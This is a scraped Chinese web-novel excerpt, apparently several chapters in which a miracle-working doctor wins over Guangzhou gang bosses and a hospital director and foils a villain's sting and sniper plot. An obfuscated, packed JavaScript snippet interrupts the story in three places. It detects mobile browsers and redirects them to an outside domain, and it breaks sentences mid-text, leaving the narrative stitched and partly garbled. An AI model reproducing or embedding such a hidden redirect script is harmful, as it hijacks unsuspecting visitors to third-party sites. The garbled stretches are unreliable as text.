银光乍闪！ 那针已快如闪电，精准刺入老人胸口正中的膻中穴！ 林卫国双指并拢，搭在针尾，微微一捻。 一股温润而霸道的力量，顺着针身瞬间渡入老人体内！ 下一秒，让满屋子见惯生死的狠人皆为之色变的一幕发生了！ 前一刻还脸色青紫、呼吸如破风箱的老人，发紫的嘴唇竟肉眼可见地转红！ 急促的呼吸奇迹般变得平稳有力！ 短短十几秒，老人死气沉沉的脸上竟泛起血色！ 他长长吐出一口浊气，整个人仿佛年轻了十岁！ “我……我的心……不疼了！顺畅了！好多年……没这么痛快了！”老人感受着胸膛内强劲的搏动，激动得老泪纵横！ 满厅大佬，包括龙叔在内，全都目瞪口呆！ 他们精于断人生路，何曾见过如此起死回生的神仙手段？！ 短暂的死寂后，龙叔猛地站起身！ 脸上所有的威压审视，瞬间被震惊和敬佩取代！ 他亲自提起桌上茅台，给林卫国斟满一杯，双手恭敬捧起： “林先生！”龙叔的声音带上不易察觉的颤抖，“是我龙啸天有眼无珠，冲撞了真神仙！” “先生神技，龙啸天服了！心服口服！” 他仰头一饮而尽，掷杯于桌，声震四壁： “从今往后，林先生的事，就是我潮州帮的事！谁敢动林先生，就是跟我龙啸天过不去！” 一针，乾坤定！林卫国以绝技，彻底折服了这盘踞广州二十年的地下枭雄！ 然而，就在龙叔话音方落，包厢气氛刚缓转之际。 “砰！” 一声巨响！ 那扇厚重的花梨木门，竟被人从外一脚狠狠踹开！木屑飞溅！ 船帮少当家阿灿，叼着烟，手提寒光闪闪的开山刀，带着几十号手持凶器的马仔，如洪水猛兽般涌了进来！ 他一眼看见正与龙叔相谈的林卫国，脸上狞笑乍现！ “龙叔，看来我来的不巧啊，一把年纪还学人请客？你的时代，早他妈过啦！” 接着，他那饿狼般的目光死死锁住林卫国。 “你就是姓林的‘过江龙’？” 阿灿狞笑着，步步紧逼。 “我不管你跟这老东西谈了什么。今天，我阿灿，要定你了！” 话音未落，身后几十号马仔齐刷刷举起砍刀！刀锋在灯光下刺骨生寒！ 潮州帮打手反应更快，瞬间拔出武器，将龙、林二人死死护在身后！ 两大帮派，骤然对峙！泮溪厅三层，杀气爆棚，一触即发！ 就在这剑拔弩张的关头，林卫国却笑着站起身。 他无视森寒刀丛，径直看向狂态毕露的阿灿。 “年轻人，火气别这么冲。” “你印堂发黑，眼下乌青，脚步虚浮。最近是不是经常夜里盗汗，白天头晕眼花，啥事都提不起劲儿？” 阿灿脸上的狞笑，瞬间僵住！ 林卫国语气平淡，却字字如刀： “再这么放纵下去，不出两年，你这身腱子肉就得烂透。到时候，别说当老大，怕是连男人……都做不成了。” 泮溪酒家最大的包厢里，空气凝滞，杀意弥漫。 阿灿那句嚣张的宣言“今天我阿灿要定了你”还在回荡。 林卫国轻飘飘的一句“不出两年，你就得彻底废了”却像惊雷炸响！ 包厢瞬间陷入诡异的死寂。 阿灿脸上的狞笑僵住了。他饿狼般的眼睛死死盯着林卫国，满是惊骇和一丝被戳中最深处秘密的恐慌！身后那群凶神恶煞、准备扑上来砍人的船帮小弟，也都愣在原地。他们面面相觑，表情古怪，想笑又憋着，肩膀不停耸动，滑稽至极。 因为林卫国说的……是真的！他们这位威风八面的灿哥，那点“不行”的秘密，在最核心的兄弟圈里早不是秘密。只是没人敢提，没人敢问。 现在，却被一个外人当众轻描淡写地捅破了！ 这比抽他一百个耳光还要难堪！ “你……你他妈的胡说八道什么！”阿灿的脸瞬间涨成猪肝色，恼羞成怒地举起开山刀，色厉内荏地咆哮：“老子今天就先剁了你这张臭嘴！” 但那凶狠在林卫国眼中，只剩外强中干的虚弱。 林卫国甚至没看那把刀，只摇了摇头，语气带着一丝怜悯：“你这不叫病，是伤。” “五年前，西堤码头火拼，后腰让人用铁棍狠狠砸过吧？” 阿灿举刀的手，猛地一僵！ 林卫国继续用那平淡到近乎残忍的语调剖析：“那一棍，伤了腰方肌，更震伤了深层的肾脉。肾气外泄，精关不固。这才是根源。” “你找了不少医生，吃了不少药，都没用。因为他们，压根找不到病根。” 这番话如同锋利的手术刀，将阿灿最后的伪装和尊严，一层层无情剥开！ 阿灿彻底懵了！眼前这人，怎么知道得如此清楚？！ 满屋江湖大佬不可置信的目光中，这个刚才还不可一世的船帮少当家，竟对着林卫国，“噗通”一声，单膝跪地！ “先生！我错了！有眼不识泰山！求您……救我一命！” 这一跪，仿佛让整个广州地下世界，都发生了剧震！ 林卫国上前，将他扶起。 “想救你？行，从现在起，你和你的船帮，还有龙叔，都得听我的。” 阿灿毫不犹豫重重点头：“我阿灿这条命都是先生的！船帮上下，唯先生马首是瞻！” 林卫国目光转向那位始终沉默，眼中却已掀起惊涛骇浪的龙叔。 龙叔百感交集。 他与同样震惊的阿灿对视一眼，彼此眼中都只剩被彻底征服的无奈和敬畏。 终于，他缓缓起身，对着比自己孙子还年轻的林卫国，一躬到底。 “林先生在上，我龙啸天，心服口服。” 至此，一针定魂，一言断命。 仅仅一夜，广州地下世界最强的两股势力，尽数俯首！格局，悄然易主！ …… 彻底掌控广州地下力量后，林卫国知道，那条最深的毒蛇坐不住了。 他没选择等待。 他要设一个局，一个阳谋——对方明知是陷阱，却不得不钻！ 林卫国将龙叔和阿灿召到面前。 “放消息出去。”他眼神深邃如渊：“就说林文峰已一统广州。刘建斌和他手里的所有东西，包括那份名单，现在都归我。” “三天后，上午十点，市第一人民医院礼堂，开一场‘公开药品交易会’。” “欢迎所有‘有实力’的买家，前来交易！” 龙叔和阿灿听完，倒吸一口凉气！ 在医院搞黑市交易？还是公开的？这简直是疯了！ 林卫国看着他们震惊的表情，笑了笑。 “我要钓的，从来不是小鱼小虾。”他望向窗外医院那栋标志性建筑，缓缓道：“我要逼那条最毒的蛇，亲自走进我为他选好的战场。” “医生么……总要在医院里，才能发挥最大本事，不是吗？” 第100章 这责任谁都扛不起 广州，临时指挥部。 空气凝固了，沉甸甸地压在每个人胸口。 调查组长周正背着手，像被困住的猛兽，双眼死死锁在墙上那幅巨大的广州市第一人民医院结构图上。眉头拧成一个解不开的死结。 副手高建军站在一旁，捏着一份刚推演完的行动方案，声音里透着化不开的忧虑：“组长，我们和市局的同志反复推演了几十遍……”他喉结滚动了一下，“结论很不乐观。把决战点设在市一院这种地方，变数太大了！” 他手指重重戳向地图： “第一，人流量！医院日门诊量三千以上，住院部还有上千病人和家属。我们的人根本没法有效甄别隔离。万一交火，后果……不敢想！” “第二，地形！里头科室、病房、走廊、管道，就是个迷宫！敌人一旦散开，我们很难彻底清剿！” “第三，也是最要命的，”高建军脸色更难看了，“是舆论！在救死扶伤的地方打枪战？无论结果如何，我们都会被推到风口浪尖！这责任，谁都扛不起！” 周正没回头，依旧钉在地图上，声音低沉如闷雷翻滚：“我担心的，不是这个。” 高建军一愣。 周正缓缓转身，那双鹰眼此刻填满了罕见的烦躁，甚至……一丝无力：“我担心的，是林卫国这个人！”他声音陡然拔高，“他就是一把最锋利、也最不受控的双刃剑！能解决我们搞不定的事，也能捅出我们兜不住的天大篓子！” 他手指猛地戳向地图上一个被红笔圈出的核心——作为交易点的礼堂：“看看他这个狗屁计划！选在医院都算了，他还要求——！”他几乎吼出来，“我们官方的人只准在外围布控，严禁进入核心区！” “那内场安保谁负责？龙叔和阿灿！那群流氓！” 周正越说越怒，狠狠一拳砸在桌面：“这他妈就是疯了！是把点着引信的炸药桶，亲手塞到一群疯子怀里！万一他们临阵反水，或者被敌人收买，我们所有布置就成了天大的笑话！” “我们会钉在历史的耻辱柱上！” …… 与此同时，林卫国的安全屋里，气氛截然不同。 热腾腾的武夷山大红袍氤氲着茶香。林卫国姿态放得很低，像虚心请教的后辈，把一张医院礼堂草图推到龙叔和阿灿面前：“龙叔，灿哥，兄弟初来乍到，不懂广州的规矩。这次上亿的大买卖，场面该怎么布置才能显得‘真’，才能让那些大鱼心甘情愿游进来？” 龙叔和阿灿对视一眼，都在对方眼中看到受宠若惊。尤其是阿灿，不久前才跪地求饶，此刻激动得热血上涌。 “林先生！您太客气了！您说话，我们照办！”阿灿拍着胸脯保证。 “不。”林卫国摇头，“术业有专攻。打打杀杀，你们是行家。这事儿，得听你们的。” 这话瞬间点燃了两位大佬的“专业”热情。 “林先生，问着了！”龙叔的好胜心迸发，指着草图倾囊相授，“这种大场面，讲究个‘外松内紧’！外围的眼线，得用脸生的、靠得住的街边小贩、黄牛党，看着像凑巧路过。条子才不会起疑！” 阿灿抢着补充：“内场保镖的站位更讲窍门！不能像当兵的站笔直，太假！得歪歪斜斜，叼着烟，透着一股子混不吝的劲儿！但眼神要狠！让客人一进门就皮肉发紧，知道这儿都是刀尖舔血的爷们儿！” “没错！”龙叔接口，“还有接头黑话！不能讲‘验货’，得说‘看货’！‘付钱’？那叫‘上账’！细节上要显出咱们的‘道行’！” …… 一个在专业视角漏洞百出，却在“江湖逻辑”上天衣无缝的鸿门宴方案，就在两人热烈讨论中成型了。 林卫国静静听着，不时点头，心底却在冷笑。 他要的就是这种“漏洞百出”。那个自以为聪明的药剂师，也精于此道。一个军警般严密的布防，反而会让他警觉。只有这种原汁原味、冒着草莽气的粗糙真实，才能让他放松警惕，一脚踏进屠宰场。 然而，就在林卫国这边万事俱备时—— 一股谁也没料到的“东风”，带着蛮横的力道，直接撞开了周正指挥部的大门！ “砰！” 门被粗暴推开。市第一人民医院院长罗文博，带着两个保安闯了进来。这位五十多岁、金丝眼镜、气质刻板的老知识分子，脸上怒意翻腾。 “哪位是周组长？”声音不高，却有种知识分子的不容侵犯。 周正皱眉：“我就是。罗院长有事？” 罗文博不理，径直走到桌边，“啪”地将一份医院安保条例拍在那幅巨大的结构图上！ “周组长！我不管你们是什么单位，在执行什么任务！”他目光如电，近乎训斥，“我只知道，我的医院是救死扶伤的地方，不是战场！” “我不会拿几百名医护，还有上千名手无寸铁病人的性命，给你们冒险！” 他推了推眼镜，斩钉截铁：“除非，我看到省卫生厅最高级别的红头文件，明确授权你们在医院实施安保戒严！否则，”他手指重重叩在桌面，“你们的人，一个都别想踏进我院大门半步！” 这番话，像一盆冰水，狠狠浇在周正滚烫的计划上！ 红头文件？ 为了这个必须绝对保密的诱捕行动，去惊动省厅？无异于把整个计划暴露在阳光下！ 规矩！ 周正这个最讲规矩的调查组长，被一个更讲规矩的医院院长，硬生生“将”死了！ 整个计划，还未启动，已悬于一线！ 周正铁青着脸走出充满消毒水味的办公室，副手高建军无奈地跟在身后。 “岂有此理！简直岂有此理！”一回到临时指挥部，周正再也压不住怒火，一拳狠狠砸在桌上，“一个地方医院的院长，竟敢公然对抗组织调查！他眼里还有没有纪律！还有没有大局！” 他刚亲自出马，试图以京城联合调查组的身份向院长罗文博施压。 结果，对方软硬不吃。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第101章 治标不治本 无论周正如何强调任务的保密性和重要性，罗文博只有一句话：“我的职责是保护全院病人和医护人员安全。没有省卫生厅盖章的红头文件，谁也别想在我的医院里搞演习。” 那副“将在外，君命有所不受”的强硬姿态，让周正碰了个结结实实的钉子。 “组长，您消消气。”高建军递上热茶，忧心忡忡，“这个罗文博，我打听过，是全省有名的老顽固。当年运动时，他为了保住几个被打成‘反动学术权威’的老专家，硬顶着压力把人藏在传染病房，谁去都不让进。他就是这么个认死理、不知变通的书呆子。” “要不……让市公安局出面，以‘协助演练’的名义强行介入？”高建军提议。 “不行！”周正想也不想就否决，“市局一介入，知情范围立刻扩大！那个‘药剂师’在广州经营多年，谁敢保证下面没他的眼线？消息一旦泄露，我们所有布置都将前功尽弃！” 这位习惯了掌控一切的调查组长，陷入了前所未有的被动和烦躁。他最引以为傲的身份和最信奉的规矩，在另一个更讲规矩的人面前，竟变得毫无用处。 …… 林卫国很快从王刚口中得知了指挥部的僵局。 他听完，脸上不见丝毫惊慌，只是淡淡笑了笑。 “周组长他们，习惯用身份和权力压人。”林卫国说，“这套对付刘建斌那种官迷有用，但对罗院长这种真正的老派知识分子，不仅没用，反而会激起他更强烈的反感。” 王刚焦急地问：“那怎么办？罗文博不松口，我们的人根本进不去！总不能硬闯吧？” “解铃还须系铃人。”林卫国站起身，整理了下衣衫，“我去会会他。” “你？”王刚一愣，“周组长都碰了壁，你去能行？” “他去，是命令。我去，是看病。”林卫国留下这句让王刚摸不着头脑的话，独自走向那栋让他也感到一丝压力的行政大楼。 …… 院长办公室内，罗文博余怒未消地批阅文件。 秘书通报有位自称调查组顾问的“林先生”求见时，他想也不想就要拒绝。但鬼使神差地，他还是同意见一面。 林卫国独自走了进来。 没带证件，没有随从，他像个探病的普通家属，脸上带着温和微笑。 “罗院长，打扰了。” 罗文博抬头，见来人如此年轻，态度更冷。他指了指门口，准备直接送客。 “如果你是替周组长做说客的，请回吧。我的态度很明确，医院不是战场。” 林卫国却像没听见，目光被罗院长办公桌上的一盆君子兰吸引。 他走到桌前，闲聊般随口道： “罗院长，您这盆君子兰养得不错，是上好的‘和尚’品种，叶片肥厚，脉络清晰。” 罗文博眉头一皱，不知这年轻人葫芦里卖的什么药。 林卫国话锋一转，指着花继续道：“只可惜，叶片微黄，根有浮土。这是典型的心土不足，根系无法深扎。就像人的心血亏虚，外表光鲜，内里……其实早就空了。” 这番话，意有所指。 罗文博那张总是板着的脸上，第一次掠过一丝不易察觉的阴沉。 林卫国这才将目光从花上移开，缓缓转向他，那双深邃的眼睛仿佛能看透人心。 “我猜，罗院长您如此坚决反对我们的行动，不只是为了医院的规矩。” “更是为了您的夫人吧？” 轰！ 这句话如同惊雷，狠狠劈在罗文博心上！ 他猛地抬头，那双总是充满严谨和审视的眼睛里，第一次露出骇然之色！ 林卫国没理会他的震惊，继续用平静到近乎残忍的语调，陈述着一个又一个只有罗文博自己才知道的秘密。 “您的夫人，患有极其严重的病毒性心肌炎后遗症，导致心悸、盗汗、夜不能寐。您带她遍访京城和省城名医，但都收效甚微。” “最近两个月，您查阅无数古籍，亲自为她配了一剂古方调理。这方子的君药，用的是一味能安神定志的猛药——朱砂。” 林卫国顿了顿，语气无比凝重。 “但这方子，治标不治本。而且，您对药理的理解有偏差，朱砂用量超出了正常人承受的极限。这味猛药在安抚她心神的同时，已严重损伤了她的肾脏。” “如果我没猜错，”林卫国看着罗文博那张毫无血色的脸，说出了最后一根稻草，“最近半个月，您夫人的双腿，一到下午，是不是也开始出现轻微水肿了？” 罗文博彻底被镇住了！ 他如同被雷击中的木桩，僵在原地，大脑一片空白！ 林卫国所说的每一个细节，都与他夫人的情况分毫不差！特别是那双腿水肿的症状，昨天才刚出现！他正准备今天带夫人去做肾功能检查！这事连他最亲近的秘书都不知道！ 眼前这个年轻人，到底是谁？！他怎么会知道这一切？！ 他看着林卫国，眼神从最初的敌意、警惕、不屑，瞬间变成了抓住最后一根救命稻草般的狂热和希冀！ 那双拿手术刀几十年都稳如磐石的手，此刻竟不受控制地剧烈颤抖起来！ “你……您……”他开口，声音嘶哑得不成样子，连称呼都变了，“您……到底是什么人？” 林卫国没有回答。 他只是从怀中拿出纸笔，在罗文博震惊瞪大的眼睛注视下，迅速写下一副药方。笔走龙蛇，一气呵成。 “这副药，以黄芪补气，当归活血，辅以茯苓、泽泻，固本培元，利水排毒。三剂之内，必有奇效。” 他将药方轻轻推到罗文博面前。 随即，他抬起头，看着这位彻底失态的院长，笑了笑。 “但是，这副药，还缺一味最重要的药引。” “需要用到贵院保密药库里，存放的一味极其特殊的药材。没有它，这副药就只是普通补药，毫无用处。” 林卫国站起身，走回那盆君子兰前，用手指轻轻拂去叶片上的一点灰尘。 他没有回头，只是用一种云淡风轻的语气，缓缓问道： “现在，我们可以坐下来，好好谈谈关于那场‘药品交易会’安保方案的‘学术交流’问题了吗，罗院长？” 第102章 魔鬼诱饵 罗文博院长的能量堪称惊人。 林卫国那副起死回生的药方和“学术交流”的幌子一出，这位在广州医疗系统内德高望重的老院长，立刻展现出惊人的行动力。 仅仅一天，广州市第一人民医院门前就挂上了醒目的横幅，“热烈欢迎海外华侨医学交流团莅临指导”。 以“迎接外宾，全院消防演习”为名的半**行动顺利铺开。无关的病人和家属被暂时疏散，通往三楼礼堂的所有通道都竖起了“演习区域，请勿靠近”的牌子。保安制服与消防制服在楼内流动，一切显得合情合理。 然而，这平静的水面下，林卫国亲手布下的天罗地网，已悄然收紧。 人群中那些焦急的“病人家属”，是龙叔手下最稳的**湖，负责外围的眼线和盘查。 而聚在一起、衣着光鲜的“交流团随行人员”，则是阿灿手下最能打的船帮精锐，负责内场的威慑与控制。 明面的官方力量与暗处的地下势力，在林卫国的调度下，第一次完美地、高效地融为一体。 …… 上午十点整，交易会准时开始。 三楼大礼堂内，空气仿佛凝固。 龙叔和阿灿如两尊门神，左右把住礼堂入口。他们身后，几十个神色看似散漫，眼神却刀锋般锐利的汉子，无声伫立。 林卫国独自坐在礼堂中央布置好的茶桌后，神色平静，等待着第一位“客人”。 很快，一个与现场氛围格格不入的身影出现在门口。 并非想象中江湖草莽的模样。来人约五十上下，灰色西装剪裁得体，头发一丝不苟，气质温雅。金丝眼镜后，挂着温和笑意，不像参与一场地下交易，倒像赴一场高规格学术会议。 “哪位是林先生？”他操着标准的普通话，彬彬有礼。 “我是。”林卫国抬眼打量。 “鄙人陈光华，新加坡华侨，做些药品生意。”男人微笑着上前，递出名片，自然地坐到了林卫国对面。 他没提名单，也没提刘建斌，只是从随身的公文包里，小心取出一个巴掌大小、铅制的精巧盒子，轻轻放在桌上。 “林先生，”陈光华推了推眼镜，笑容不变，“久仰您生意做得大，更兼当世神医之名。我们老板仰慕已久，想在谈正事之前，请您‘掌掌眼’，品鉴一下这味从南洋重金求来的‘奇药’成色。” 这开场，完全出乎了所有人预料。 …… 医院对面，居民楼临时指挥部。 周正和那位紧急调来的京区技术专家，正透过高倍望远镜和**设备，死死锁住礼堂内每一个动作。 “组长，目标拿出了铅盒！”技术专家立即汇报，“便携盖革计数器捕捉到微弱放射性反应！但铅屏蔽太强，无法解析内部物质！” 周正的眉头拧成了结。 这是下马威？还是试探？他完全摸不透对方的路数。 …… 礼堂内，林卫国看也没看那铅盒。 他只是平静地扫了一眼，目光便落回陈光华那张挂着温和笑意的脸上。 他开口，声音不高，却清晰地穿透房间每一个角落，也震动着**器另一端的耳膜。 “告诉你老板，不必试了。” “这东西，叫‘龙葵草’，缅甸金三角一处废弃铀矿区的特产。” 陈光华脸上的笑容，瞬间冻住！ 林卫国仿佛没看见他的震惊，语气平淡得像在陈述一个常识： “确实是当世奇药，压制癌细胞扩散，效力远超任何化疗手段。” “但，它也是至毒之物！生长中吞噬了土壤里的大量放射性元素。这辐射杀死癌细胞的同时，也会无差别地摧毁所有健康细胞。服用者活不过半年，必定免疫系统崩塌、多器官衰竭，死得更痛苦。” “所以，它不是药，是毒。是让将死之人看见虚假希望，再把人拖入更深地狱的……魔鬼诱饵。” 林卫国端起茶杯，轻啜一口，这才抬起眼，直视着那张已无血色的脸。 “用它试探我，不是想看我的医术。” “他是想看看，我林文峰，够不够格……碰‘方舟’的东西。” “我说的，对吗？” “方舟！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215521|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个字，如同惊雷炸响！不仅在寂静的礼堂轰鸣，更直击百米外指挥部的心脏！ 陈光华儒雅的面容霎时惨白如纸，震惊与恐惧再也遮掩不住！他猛地起身，连价值连城的铅盒都顾不上，踉踉跄跄，几乎是连滚带爬地冲向门外！ 指挥部里，周正猛地转头，与一直沉默的第七办公室负责人白晴对视一眼，彼此眼底都映着巨大的震惊！ 案子，彻底失控了！ 它早已超越间谍与走私的范畴，指向了一个只在最高绝密档案中寥寥数语的、深不可测的恐怖存在！ …… 陈光华仓皇离去，死寂笼罩礼堂。 龙叔和阿灿虽听不懂“方舟”，却能清晰看见那位气度不凡的“陈先生”，是如何被林卫国的只言片语吓得失魂落魄！ 他们望向林卫国的眼神，已从敬畏攀升到近乎于拜神的崇仰！ 林卫国却浑若无事。 他慢悠悠拿起茶杯，目光若有似无地扫过角落一盆伪装精巧的盆景，那里面，藏着极其隐蔽的摄像头。 他对着空气，无声笑了笑。 “这位朋友，看戏也看够了，该出来见见了吧？” 话音刚落。 盆景深处，一个微不可察的红点，轻轻闪了一下。 紧接着，礼堂隐蔽的扩音器里，传出一个冰冷的、带着金属颤音的笑声。笑声里，一丝掩饰不住的惊异悄然流淌。 “呵……有意思。真有意思。” “林卫国，你比预估的，更有意思。” “成功引起了我的兴趣。” 声音的主人，正是“药剂师”吴院士！ 他顿了顿，用一种缓慢却透着兴奋的语调宣告： “下一个‘病人’，已在路上。” 药剂师冰冷戏谑的声音还在礼堂里回荡。 话音未落，礼堂大门被两个黑衣壮汉猛地推开。他们抬着一副担架，稳稳放在林卫国面前的空地上。 担架上躺着个中年男人，面色灰败，嘴唇发紫，气息微弱得几乎消失，胸膛只有微不可察的起伏，仿佛下一秒就会停止呼吸。 第103章 请君入瓮 扩音器再次响起药剂师的声音，带着猫捉老鼠般的玩味： “林卫国，这人是个码头叛徒。我刚请他尝了点新作品，一种速效神经毒素。” “按我计算，他还有十分钟。” “救活他，我亲自下楼见你。” 阳谋！恶毒至极的阳谋！ 所有人都看穿了药剂师的险恶用心。林卫国若救人，就得耗尽全力，被困在礼堂当活靶子；若不救，任由这人死在眼前，他“当世神医”的名头瞬间崩塌，之前一切努力都将沦为笑柄！ 龙叔和阿灿脸色铁青。他们没想到这素未谋面的“药剂师”，手段竟如此阴狠！ 林卫国却只是平静地扫了眼担架上垂死的男人，点了点头。 “好，我救。” 他边说边从医疗箱里取出牛角针盒。 …… 就在林卫国开始检查病人的同一刻！ 数百米外的临时指挥部，气氛骤然绷紧！ “报告组长！紧急情况！”通讯队员猛地站起，脸色煞白地对着周正吼道，“广州港七号泊位，潮州帮的货运仓库发生剧烈**！引发特大火灾！” 墙上大屏幕立刻切换成港口实时画面。冲天火光染红半边夜空，滚滚浓烟如恶魔爪牙般疯狂蔓延！ “该死！”副手高建军一拳砸在桌上，“调虎离山！他们想用这把火，把医院外围的主力全引去码头！” 一直沉默的第七办公室负责人白晴却摇了摇头。她指着另一块屏幕上的卫星热感图像，脸色凝重： “不，没那么简单。” “火情是真的，而且失控了。”她指向火场旁那片高亮区域，“那里是507号国有战略物资储备库！里面存放着刚进口的国防工业高精度仪表！一旦被大火波及，损失无法估量！” “国有仓库的战略价值，远超我们这案子。必须立刻分派主力赶赴码头，不惜一切代价保住507仓库！” 白晴的话像块巨石，狠狠砸在周正心上。 这同样是个阳谋！逼他分兵，削弱医院力量的阳谋！ 去，还是不去？ 保国家财产，还是保行动本身？ 两难抉择如同两座大山压在他肩上。太阳穴突突直跳，巨大的压力让他几乎窒息！ …… 礼堂内，林卫国已在垂死病人身上闪电般刺下十几根银针。指尖在各大穴位飞速捻动，以内劲强行锁住即将扩散至心脏的致命毒素。 与此同时，他耳中的微型耳机，将指挥部里的激烈争论一字不漏地传来。 他头也没抬，捻针的频率丝毫未变，只是用无比平静的语气对守在一旁的王刚说： “告诉周组长。” “码头的火灾，和医院里这病人，都是假的。” 王刚猛地一愣！ 假的？怎么可能？卫星热感都确认了！ 林卫国仿佛看穿他的心思，依旧头也不抬： “‘药剂师’这种人，极度自负，也极度聪明。他不会用这种非此即彼、容易被识破的计策。” “火灾是真的。**的病人也是真的。” “但这两样，都只是他抛出来吸引我们全部注意力的‘噪音’。他要让我们所有人的目光都聚焦在这两点上，为如何抉择争论不休，疲于奔命。” “他真正的目标，一定是我们认为最安全、也最容易被忽略的地方。” …… 就在广州陷入混乱焦灼之际。 千里之外的安平县，卫国制药厂灯火通明。 苏晚夏没有休息，正带着几个年轻技术员在办公室整理德国工程师汉斯留下的技术资料。 “小苏姐，德国人的东西也太严谨了，连张小图纸都要分类编号归档。”一个技术员感叹道。 苏晚夏笑了笑，刚要开口，手指却在一个厚厚德文文件夹的夹层里摸到异物。 那是个用厚油布严实包裹的东西，摸上去像一叠图纸。 她心中一动，小心取出。 解开油布，看清里面画满精密图样和德文注释的蓝图时，她聪慧的眼睛瞬间瞪大！ ，“低温离心萃取技术”，完整核心设计图纸！ 这……这不是汉斯当初吹嘘的、只有德国顶尖制药公司才拥有的世界顶级药物提纯技术吗？！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大夜视瞄准镜如同毒蛇之眼，黑洞洞的枪口校准完毕，穿透落地窗，死死锁定了海珠大桥！那是从医院通往码头的唯一咽喉要道。 狙击手趴在枪后，纹丝不动，像座等待猎物的石雕。 “嘶——” 指挥部里一片抽气声！ 冷汗顷刻浸透周正和白晴的后背。 他们终于看清了“药剂师”环环相扣的毒计： 医院里垂死的病人是第一环“请君入瓮”，只为钉死林卫国。 第104章 调虎离山 码头的冲天大火是第二环“调虎离山”，逼他们分兵，制造指挥混乱与医院外围空虚； 而这高悬头顶的狙击手，才是真正的杀招“图穷匕见”！ 那人算准了：无论医院发生什么，林卫国最终必然走向码头！只要车队驶上毫无遮掩的海珠大桥，立刻就会成为活靶子。 好狠！好毒！每一步都在“药剂师”股掌之间！ 指挥中心死寂一片，所有人都被这鬼神手段震住。 这时，林卫国的声音却平静地刺破耳机： “现在，信了？” 这声反问，如同一记无形的耳光，狠狠抽在周正脸上。他深吸一口气，闭眼再睁所有固执、猜忌瞬间消失，取而代之的是从未有过的敬佩。 他抓起通讯器，一字一顿，掷地有声： “林顾问，从现在起，行动由你全权指挥！” …… “收到。” 医院礼堂内，林卫国毫不客套。大脑全速运转，指令清晰冰冷： “王刚！” “在！” “带二队去白云宾馆。记着，我要活的！” “是！”王刚眼中精光一闪，转身冲出。 “龙叔，灿哥！” “林先生，您吩咐！”两位江湖大佬早已心服口服。 “派最得力、最狠的手下，立刻去市一院地下太平间。” 太平间？两人俱是一愣。 “清场。”林卫国声音不带情绪，“从现在起，一只苍蝇飞进去，也得分清公母！” “是！”疑云满腹，两人却毫不迟疑地执行。 “梁仔！” “先生，我在！” “把你准备的车开来。我们去会会那个只敢打冷枪的药剂师。” …… 指令落定，林卫国缓步走回担架旁。那个被他用银针吊命的“叛徒”气息奄奄。 在满堂“买家”惊骇的目光下，他出手如电，连点那人胸口几处大穴。 “呃啊！”那人猛地一颤，眼皮抖动，竟睁开了眼！呼吸心跳奇迹般趋于平稳。 做完这一切，林卫国抬头，目光精准刺向角落的盆景摄像头，声音冷冽： “吴院士，你的棋子，我救了。” “现在，该我们聊了。” 不等扩音器那头回应，他转向早已呆若木鸡的刘建斌： “走，刘先生，带你会会老朋友。” 在龙叔、阿灿数十名精锐马仔簇拥下，林卫国押着失魂落魄的刘建斌，如凯旋将军般迈出医院大门！ 梁仔的车已等在门口，毫不起眼。 车子发动，公然朝着海珠大桥方向飞驰而去！如同在邀请那致命的枪口。 …… 与此同时，市一院地下B栋，废弃的太平间。 “药剂师”吴院士端着红酒，嘴角噙着胜利的笑意，欣赏屏幕上的画面正是**瞄准镜的实时传输。 镜头里，林卫国的车队，正“乖巧”地驶向预设的死亡陷阱。 “林卫国啊林卫国，你到底……还是嫩了点。” 他却毫不知情。 这座深藏地下的太平间四周，所有出口都已被彻底封死！ 医院地下密室。 吴院士透过狙击手的瞄准镜画面监视着目标，杯中红酒轻轻摇晃。他优雅地拿起加密通讯器，准备向潜伏在城市之巅的狙击手下达最后的指令。 “鹰眼，目标即将进入一号射击位，准备执。。。。。。” 通讯器里骤然响起刺耳的电流音，死寂一片。 吴院士的话生生噎住，眉头拧紧。 “鹰眼？收到请回话！” 回应他的只有沙沙声。一股冰冷的不祥预感瞬间沿着脊椎窜上心头就在几分钟前，梁仔已如鬼魅般剪断了住院部B栋所有对外通讯线路。 不安急剧膨胀。 “咚、咚咚。” 厚重精钢门外，突然传来三下不轻不重、极有节奏的叩击。 吴院士脸色瞬间煞白！这里是他的核心秘密巢穴，绝不该有第四人知晓！ 他猛地摔掉酒杯扑到门前，眼睛死死贴上猫眼 血液在刹那间冰冷凝固！ 门外，林卫国平静地站着，脸上甚至有一丝若有若无的微笑，仿佛只是拜访老友，而非闯入龙潭虎穴。 轰！ 吴院士脑中一片空白！他全明白了！什么调虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“方舟立刻会派十个、一百个比我更厉害的人顶上！带着更先进的技术，更无解的招数！” “而你？” “再能打，你能打几个？医术再高，终究是一个人！” “你能救一个病人，能救活这个国家落后、千疮百孔的工业体系吗？” “你能挡一颗**，能挡住即将把你们冲垮的。。。技术洪流吗？” “我们。。。才代表未来！林卫国，你和我，不在一个世界。” …… 这番话，如同撕裂天穹的霹雳，狠狠劈中了林卫国！ 他终于明白了！ 从安平农业危机，到京城间谍案，再到广州连环计。。。自己始终像个能力超群的救火队员，疲于奔命地扑灭一处又一处大火，却从没想过火为何燃起。 吴院士的话点醒了他单纯的粉碎阴谋、抓捕敌人，只是扬汤止沸！ 